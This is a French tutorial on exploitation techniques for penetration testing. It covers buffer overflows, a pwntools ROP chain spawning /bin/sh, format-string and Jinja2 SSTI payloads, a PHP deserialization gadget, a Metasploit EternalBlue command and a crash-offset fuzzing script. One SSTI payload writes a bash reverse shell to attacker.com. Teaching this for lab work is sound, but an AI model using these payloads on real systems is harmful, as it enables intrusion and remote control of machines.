Guide des Techniques d’Exploitation Avancées

L’exploitation de vulnérabilités est un aspect fondamental de la cybersécurité, tant pour les défenseurs que pour les attaquants éthiques. Ce guide explore les techniques d’exploitation avancées utilisées dans les tests d’intrusion modernes et la recherche en sécurité.

AVERTISSEMENT : Les techniques décrites dans cet article sont à utiliser uniquement dans un cadre légal, éthique et sur des systèmes pour lesquels vous avez obtenu une autorisation explicite.

Les Fondamentaux de l’Exploitation

Avant d’aborder les techniques avancées, rappelons quelques concepts fondamentaux :

Qu’est-ce que l’exploitation ?

L’exploitation est le processus qui consiste à tirer parti d’une vulnérabilité dans un système, une application ou un réseau pour obtenir un comportement non prévu par ses concepteurs, généralement dans le but d’obtenir un accès non autorisé ou d’exécuter du code arbitraire.

Le cycle d’exploitation

1. Reconnaissance - Collecte d’informations sur la cible
2. Analyse de vulnérabilités - Identification des faiblesses potentielles
3. Exploitation - Utilisation des vulnérabilités pour compromettre le système
4. Post-exploitation - Actions après avoir obtenu l’accès initial
5. Maintien de l’accès - Établissement de mécanismes pour conserver l’accès obtenu

Buffer Overflow : La Technique Classique

Le débordement de tampon reste l’une des vulnérabilités les plus fondamentales et puissantes.

Principes de base

Un buffer overflow se produit lorsqu’un programme écrit plus de données dans un tampon (buffer) que ce qu’il peut contenir, provoquant ainsi l’écrasement des données adjacentes en mémoire.

Exemple simple de stack-based buffer overflow en C

#include <stdio.h>
#include <string.h>

void vulnerable_function(char *input) {
    char buffer[64];
    strcpy(buffer, input); // Vulnérable - pas de vérification de taille
    printf("Input: %s\n", buffer);
}

int main(int argc, char *argv[]) {
    if(argc > 1) {
        vulnerable_function(argv[1]);
    }
    return 0;
}

Exploitation d’un buffer overflow

1. Identification du point d’entrée - Trouver où l’entrée utilisateur est traitée de façon non sécurisée
2. Détermination de l’offset - Calculer la distance exacte jusqu’à l’adresse de retour
3. Contrôle de l’EIP/RIP - Rediriger le flux d’exécution vers notre shellcode
4. Développement du shellcode - Créer le payload qui sera exécuté
5. Contourner les protections - Techniques pour bypasser ASLR, DEP, etc.

Return-Oriented Programming (ROP)

Le ROP est une technique avancée utilisée pour contourner les protections modernes comme la prévention d’exécution des données (DEP/NX).

Principe du ROP

Au lieu d’injecter et d’exécuter du shellcode, ROP utilise des petits fragments de code déjà présents dans le programme cible (appelés “gadgets”), qui se terminent par une instruction ret. Ces gadgets sont chaînés ensemble pour exécuter des opérations complexes.

Construction d’une ROP chain

from pwn import *

elf = ELF('./target_binary')
p = process('./target_binary')

# Adresses des gadgets ROP
pop_rdi = 0x4011ab  # pop rdi; ret
ret_gadget = 0x40101a  # ret
system_addr = elf.symbols['system']
bin_sh_addr = next(elf.search(b'/bin/sh'))

# Construction de la chaîne ROP
payload = b'A' * 72  # Padding jusqu'à l'adresse de retour
payload += p64(pop_rdi)  # Gadget pour charger le premier argument
payload += p64(bin_sh_addr)  # Adresse de la chaîne "/bin/sh"
payload += p64(ret_gadget)  # Pour l'alignement de la pile
payload += p64(system_addr)  # Appel à system()

p.sendline(payload)
p.interactive()

Heap Spraying et Exploitation de Tas

L’exploitation du tas (heap) est devenue cruciale avec l’évolution des protections de la pile.

Principes du heap spraying

Le heap spraying consiste à remplir de grandes portions de la mémoire tas avec un motif spécifique, généralement une combinaison de NOP-sled et de shellcode, pour augmenter les chances de réussite d’une exploitation.

Vulnérabilités courantes du tas

1. Use-After-Free (UAF) - Utilisation d’un pointeur après sa libération
2. Double Free - Libération d’un même bloc mémoire deux fois
3. Heap Overflow - Débordement d’un bloc de mémoire sur le tas
4. Type Confusion - Interprétation incorrecte du type d’un objet en mémoire

Exemple de Use-After-Free en JavaScript

// Exemple simplifié d'un UAF dans un environnement navigateur
let victim = document.createElement('div');
let attacker = document.createElement('div');

// Référence à l'objet victim
document.body.appendChild(victim);

// Supprime victim du DOM mais garde une référence
document.body.removeChild(victim);

// Tente de récupérer l'emplacement mémoire de victim
// avec un nouvel objet aux propriétés contrôlées
for (let i = 0; i < 100; i++) {
    let spray = document.createElement('p');
    spray.setAttribute('id', 'spray' + i);
    // Remplit la mémoire avec des données contrôlées
    spray.className = '\u0041'.repeat(500);
    document.body.appendChild(spray);
}

// Utilisation de l'objet libéré - peut maintenant pointer vers notre contenu contrôlé
console.log(victim.innerHTML);  // Potentiel UAF

Format String Attacks

Les attaques par chaîne de format exploitent les fonctions de formatage comme printf() lorsqu’elles utilisent des entrées non validées.

Exploitation d’une vulnérabilité de chaîne de format

#include <stdio.h>

int main(int argc, char *argv[]) {
    if(argc > 1) {
        printf(argv[1]); // Vulnérable - utilisation directe de l'entrée utilisateur
    }
    return 0;
}

Pour exploiter:

# Afficher des valeurs de la pile
./vulnerable "%x %x %x %x"

# Lire à une adresse mémoire spécifique
./vulnerable "$(printf "\xef\xbe\xad\xde")%s"

# Écrire à une adresse mémoire
./vulnerable "$(printf "\xef\xbe\xad\xde")%n"

Techniques d’Exploitation Web Avancées

Server-Side Template Injection (SSTI)

# Exemple de payload pour Jinja2
{{ ''.__class__.__mro__[1].__subclasses__()[40]('./config.py').read() }}

# Exemple pour obtenir RCE
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evil').write('import os\\nos.system("bash -i >& /dev/tcp/attacker.com/4444 0>&1")') }}

Deserialization Attacks

// PHP Object Injection
class CustomClass {
    public $data = null;
    
    function __destruct() {
        eval($this->data);
    }
}

$obj = new CustomClass();
$obj->data = "system('id');";
echo serialize($obj);
// O:11:"CustomClass":1:{s:4:"data";s:11:"system('id');";}

Exploitation Mobile

Android Intent Hijacking

// Exemple d'un intent vulnérable
Intent intent = new Intent();
intent.setAction("com.example.action.VULNERABLE_ACTION");
intent.putExtra("sensitive_data", "secret_information");
startActivity(intent);

Exploitation:

<!-- Dans le manifeste de l'application malveillante -->
<activity android:name=".MaliciousActivity">
    <intent-filter>
        <action android:name="com.example.action.VULNERABLE_ACTION" />
        <category android:name="android.intent.category.DEFAULT" />
    </intent-filter>
</activity>

Outils d’Exploitation Avancés

Metasploit Framework

# Exploitation d'une vulnérabilité MS17-010 (EternalBlue)
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit

GDB et PEDA

# Débogage d'un binaire pour l'exploitation
gdb -q ./vulnerable
set disassembly-flavor intel
disass main
break *0x401234
run $(python -c 'print "A" * 100')
x/20xg $rsp

Pratique Éthique et Légale

Pour pratiquer légalement les techniques d’exploitation:

1. Environnements de laboratoire - Utilisez des machines virtuelles isolées
2. CTF (Capture The Flag) - Participez à des compétitions de sécurité
3. Sites d’entraînement - HackTheBox, TryHackMe, VulnHub
4. Programmes de Bug Bounty - Cherchez des vulnérabilités sur des plateformes autorisées

Script d’Automatisation de Recherche de Vulnérabilités

Voici un exemple de script Python pour automatiser la recherche de vulnérabilités buffer overflow:

#!/usr/bin/env python3
import socket
import sys
import time

def send_payload(ip, port, payload):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, port))
        s.send(payload)
        s.close()
        return True
    except:
        return False

def find_offset(ip, port, start_length=100, increment=100, max_length=5000, timeout=1):
    for length in range(start_length, max_length+1, increment):
        payload = b"A" * length
        print(f"[*] Testing length: {length}")
        
        if not send_payload(ip, port, payload):
            print(f"[+] Server crashed at length: {length}")
            # Raffinement binaire pour trouver l'offset exact
            return refine_offset(ip, port, length-increment, length)
        
        time.sleep(timeout)
    
    print("[-] Could not crash the server with the given parameters")
    return None

def refine_offset(ip, port, min_length, max_length, timeout=1):
    # Recherche binaire pour trouver l'offset exact
    while max_length - min_length > 1:
        mid = (min_length + max_length) // 2
        payload = b"A" * mid
        print(f"[*] Refining - testing length: {mid}")
        
        if send_payload(ip, port, payload):
            min_length = mid
        else:
            max_length = mid
        
        time.sleep(timeout)
    
    return min_length + 1

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <ip> <port>")
        sys.exit(1)
    
    ip = sys.argv[1]
    port = int(sys.argv[2])
    
    offset = find_offset(ip, port)
    if offset:
        print(f"[+] Exact crash offset found: {offset}")

Conclusion

La maîtrise des techniques d’exploitation avancées est essentielle pour les professionnels de la cybersécurité, tant pour défendre efficacement les systèmes que pour réaliser des tests d’intrusion complets. Cependant, avec de grands pouvoirs viennent de grandes responsabilités : ces connaissances doivent être utilisées de manière éthique et légale.

Ressources Complémentaires

• Livre: The Shellcoder’s Handbook
• OWASP: Vulnérabilités d’applications web
• Exploit-DB: Base de données d’exploits
• LiveOverflow: Vidéos sur l’exploitation binaire
• CTF Time: Compétitions de sécurité